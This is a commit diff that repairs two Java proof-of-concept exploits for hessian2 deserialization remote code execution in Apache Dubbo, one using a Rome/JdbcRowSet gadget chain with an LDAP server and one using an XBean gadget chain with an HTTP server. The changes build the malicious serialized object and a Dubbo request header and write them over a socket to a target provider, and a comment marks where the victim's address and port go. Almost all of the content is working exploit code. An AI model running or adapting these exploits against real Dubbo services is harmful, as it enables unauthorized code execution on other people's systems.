fix:xbean poc

Author: threedr3am

dubbo/pom.xml

@@ -10,6 +10,7 @@
   <modelVersion>4.0.0</modelVersion>
 
   <artifactId>dubbo</artifactId>
+  <version>1.0-SNAPSHOT</version>
   <packaging>pom</packaging>
 
   <properties>

dubbo/src/main/java/com/threedr3am/bug/dubbo/RomePoc.java

@@ -1,10 +1,12 @@
 package com.threedr3am.bug.dubbo;
 
+import com.caucho.hessian.io.Hessian2Output;
 import com.rometools.rome.feed.impl.EqualsBean;
 import com.rometools.rome.feed.impl.ToStringBean;
 import com.sun.rowset.JdbcRowSetImpl;
 import com.threedr3am.bug.common.server.LdapServer;
 import com.threedr3am.bug.common.utils.Reflections;
+import com.threedr3am.bug.dubbo.support.NoWriteReplaceSerializerFactory;
 import java.io.ByteArrayOutputStream;
 import java.io.OutputStream;
 import java.lang.reflect.Array;
@@ -14,7 +16,6 @@
 import java.util.Random;
 import org.apache.dubbo.common.io.Bytes;
 import org.apache.dubbo.common.serialize.Cleanable;
-import org.apache.dubbo.common.serialize.hessian2.Hessian2ObjectOutput;
 
 /**
  * dubbo 默认配置，即hessian2反序列化，都可RCE（dubbo版本<=2.7.5）
@@ -80,7 +81,10 @@ public static void main(String[] args) throws Exception {
     Bytes.long2bytes(new Random().nextInt(100000000), header, 4);
 
     ByteArrayOutputStream hessian2ByteArrayOutputStream = new ByteArrayOutputStream();
-    Hessian2ObjectOutput out = new Hessian2ObjectOutput(hessian2ByteArrayOutputStream);
+    Hessian2Output out = new Hessian2Output(hessian2ByteArrayOutputStream);
+    NoWriteReplaceSerializerFactory sf = new NoWriteReplaceSerializerFactory();
+    sf.setAllowNonSerializable(true);
+    out.setSerializerFactory(sf);
 
     out.writeObject(s);
 

dubbo/src/main/java/com/threedr3am/bug/dubbo/XBeanPoc.java

@@ -1,24 +1,26 @@
 package com.threedr3am.bug.dubbo;
 
+import com.caucho.hessian.io.Hessian2Output;
 import com.threedr3am.bug.common.server.HTTPServer;
 import com.threedr3am.bug.common.utils.Reflections;
+import com.threedr3am.bug.dubbo.support.NoWriteReplaceSerializerFactory;
 import com.threedr3am.bug.dubbo.utils.ToStringUtil;
 import java.io.ByteArrayOutputStream;
 import java.io.OutputStream;
 import java.net.Socket;
+import java.util.HashMap;
 import java.util.Random;
 import javax.naming.Context;
 import javax.naming.Reference;
 import org.apache.dubbo.common.io.Bytes;
 import org.apache.dubbo.common.serialize.Cleanable;
-import org.apache.dubbo.common.serialize.hessian2.Hessian2ObjectOutput;
 import org.apache.xbean.naming.context.ContextUtil.ReadOnlyBinding;
 import org.apache.xbean.naming.context.WritableContext;
 
 /**
  * dubbo 默认配置，即hessian2反序列化，都可RCE
  *
- * Spring环境可打，暂时测试Spring-boot打不了
+ * 需要dubbo环境版本<=2.6.3
  *
  * <dependency>
  *   <groupId>org.apache.xbean</groupId>
@@ -48,20 +50,28 @@ public static void main(String[] args) throws Exception {
     // set magic number.
     Bytes.short2bytes((short) 0xdabb, header);
     // set request and serialization flag.
-    header[2] = (byte) ((byte) 0x80 | 0x20 | 2);
+    header[2] = (byte) ((byte) 0x80 | 2);
 
     // set request id.
     Bytes.long2bytes(new Random().nextInt(100000000), header, 4);
 
     ByteArrayOutputStream hessian2ByteArrayOutputStream = new ByteArrayOutputStream();
-    Hessian2ObjectOutput out = new Hessian2ObjectOutput(hessian2ByteArrayOutputStream);
+    Hessian2Output out = new Hessian2Output(hessian2ByteArrayOutputStream);
+    NoWriteReplaceSerializerFactory sf = new NoWriteReplaceSerializerFactory();
+    sf.setAllowNonSerializable(true);
+    out.setSerializerFactory(sf);
 
+    //todo 经测试，以下4个随意填
+    //注册中心获取到的service全限定名、版本号、方法名
+    out.writeString("2.0.2");
+    out.writeString("com.threedr3am.learn.server.boot.DemoXXXXXXXXService");
+    out.writeString("1.0");
+    out.writeString("hello");
+    //todo 方法描述不需要修改，因为此处需要指定map的payload去触发
+    out.writeString("Ljava/util/Map;");
     out.writeObject(s);
-
-    out.flushBuffer();
-    if (out instanceof Cleanable) {
-      ((Cleanable) out).cleanup();
-    }
+    out.writeObject(new HashMap());
+    out.close();
 
     Bytes.int2bytes(hessian2ByteArrayOutputStream.size(), header, 12);
     byteArrayOutputStream.write(header);
@@ -70,7 +80,7 @@ public static void main(String[] args) throws Exception {
     byte[] bytes = byteArrayOutputStream.toByteArray();
 
     //todo 此处填写被攻击的dubbo服务提供者地址和端口
-    Socket socket = new Socket("127.0.0.1", 20880);
+    Socket socket = new Socket("127.0.0.1", 20881);
     OutputStream outputStream = socket.getOutputStream();
     outputStream.write(bytes);
     outputStream.flush();